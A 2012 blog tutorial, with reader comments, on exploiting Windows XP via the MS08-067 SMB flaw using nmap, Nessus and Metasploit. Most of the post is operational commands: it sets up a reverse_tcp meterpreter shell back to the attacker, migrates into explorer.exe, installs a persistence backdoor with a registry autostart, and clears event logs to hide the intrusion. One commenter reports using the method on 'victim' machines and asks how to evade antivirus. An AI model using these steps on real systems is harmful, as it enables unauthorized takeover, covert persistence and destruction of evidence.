Friday, January 27, 2012

Exploit Windows XP SP3 Using Metasploit (msfconsole)

Holla Guys,
Lets do some exploitation.  :D

1. Startup your XP in Virtualbox
(for those who haven't installed xp in virtualbox can see the tutorial here

2. Make sure that the host(BT 5r1) and the XP are connected each other.

3. Lets scan the target to see the services running
# nmap -A
Starting Nmap 5.59BETA1 ( ) at 2012-01-28 05:25 WIT
Nmap scan report for
Host is up (0.00043s latency).
Not shown: 997 closed ports
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:91:01:D1 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_nbstat: NetBIOS name: YUDHI-HOME, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:91:01:d1 (Cadmus Computer Systems)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|_  System time: 2012-01-28 05:25:50 UTC+7

1   0.43 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 22.64 seconds

4. Lets scan some vulnerabilities using Nessus.
(for how to use nessus you can go here)
After the scan finished, lets analyze the report.
Great, it says that our target smb service is vulnerable and its vulnerability level is high too.
pay attention to this
because we have to use it to search for the right exploit. or simply look at there.
That plugin name is the hint to search for the right exploit.

4. Lets search the exploit to attack that vulnerability on metasploit. Start your metasploit console.
# msfconsole
To search for exploit type
meterpreter > search platform:windows type:exploit cve:-2008-4834 app:server path:exploit/windows/smb
explanation : for the search sytax type "search -h"
platform : because the target is a windows system we choose this.
type : because we only want to search an exploit, we choose exploit for this.
cve : fill with the data from nessus scan.
app : server attack side.
path : because we want to search only exploits for smb set the path to this is right.
Hit, enter.
Notice that there is this exploit there, "ms08_067_netapi" that located at exploit/windows/smb/ms08_067_netapi. The one that have the same name as the plugin name that we've discovered with the nessus earlier. Important to know that almost all windows is vulnurable with this exploit. Lets use it.

5. Type these :
use exploit/windows/smb/ms08_067_netapi
explanation : by typing this we set the metasploit to use this exploit on the target.
explanation : RHOST is the target, set the ip with the target that you want to attack.
set PAYLOAD windows/meterpreter/reverse_tcp
explanation : meterpreter is the payload that we want to use. I'll explain more about payload later.
explanation : LHOST is the Listener HOST. this is us. set with our IP.
launch the attack.
6.If everything is done correctly, a meterpreter shell will appear on the target system.
7. From this point, the server is under our control. But to prevent the user kill our meterpreter process we must quickly migrate to the other services running.
To show the running process on the target system type
meterpreter > ps
search for explorer.exe process since it is the most important services on windows and identify the process number. Lets migrate to that service.
meterpreter > migrate [PID]
You can do whatever you want on the system now.

8. Ok, next step is placing a backdoor for later connection. Good for us metasploit also provided the script for it called "persistence". Lets see the usage of this script.
meterpreter > run persistence -h

Lets execute it.
meterpreter > run persistence -A -X -p 10000 -r
And thats it. A backdoor have been created on the target system.
(the backdoor will be located at C:\WINDOWS\TEMP directory. It is a .vbs file. The scirpt will also create an autostart in the registry key HKLM\Software\Microsoft\CurrentVersion\Run\XXXXX(random). So, when the pc start, the backdoor will also active. For tutorial to use the backdoor you can go here)

9. And don't forget to clear our hacking tracks.
meterpreter > clearev
To exit the shell just type "exit".

The elaboration from this attack based on the hacking methodology is
1. Information Gathering
Using nmap get the information.
2. Service Enumeration
Using nmap to see the services running.
3. Vulnerability Assessment
Using nessus to scan the vulnerability and metasploit to search the exploit.
4. Exploit
Using metasploit on console mode to take over the system.
5. Backdooring
Using metaspoit 'persistance' script to create backdoor.
6. Housekeeping
Using metasploit 'crearev' to clear the tracks.

Hope this helps.  :)
Lets make the History!! 


Kumel said...

Cool!!! Don't forget to teach me about how to do that.

drago-hack said...

haha, lol.. you're more expert than me..
I am the one that needs your teaching.. :D

imran said...

its not working on firewall and updated windows

dragon_master said...

yep, no doubt about that.. :)

jagini kotesh said...

Metasploit network security software,Thanks for sharing such an informative article.

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Hardip Gajjar said...

hi i've exploited some machines follwing your method. But now my victim has Kaspersky internet security installed on it and every time it revert back with the error like,

"Connection reset by peers"

pls help me on this.

dragon_master said...

> Hardip Gajjar :
hmm... i think the main problem is that kaspersky here..

Makalu Arun Trek MAST said...

Wow It works

Anonymous said...

It was not working, if the system is protected by the firewall.

Eashwar Sai Jalagam said...

Thanks It Worked I Tested In My VM Windows XP SP2 With Firewall off..

martyn jhon said...

Great Post!

A meterpreter is the best way to hack devices

Josh McMillan said...

i've got a xp sp3 machine with no updates installed and the meterpreter shell doesnt work.
Exploit completed, but no session was created.

any tips?

Steve Johnson said...

I've also got an XP SP3 machine with no updates and the meterpreter shell won't load based on the same error that @Josh had:

"Exploit completed, but no session was created."

Any thoughts on what to check or try? I have a virtual lab on my laptop and I'm able to run successful exploits against Linux VMs and also Metasploitable 2.

Unknown said...

hi how do you shut down metasploitable and boot up windows xp?

Anonymous said...

how to port forward with NAT mode in vmeare Workstation 14 Player

vmnernat.conf file is missing
vmeare. Run on window 7 .Plz help

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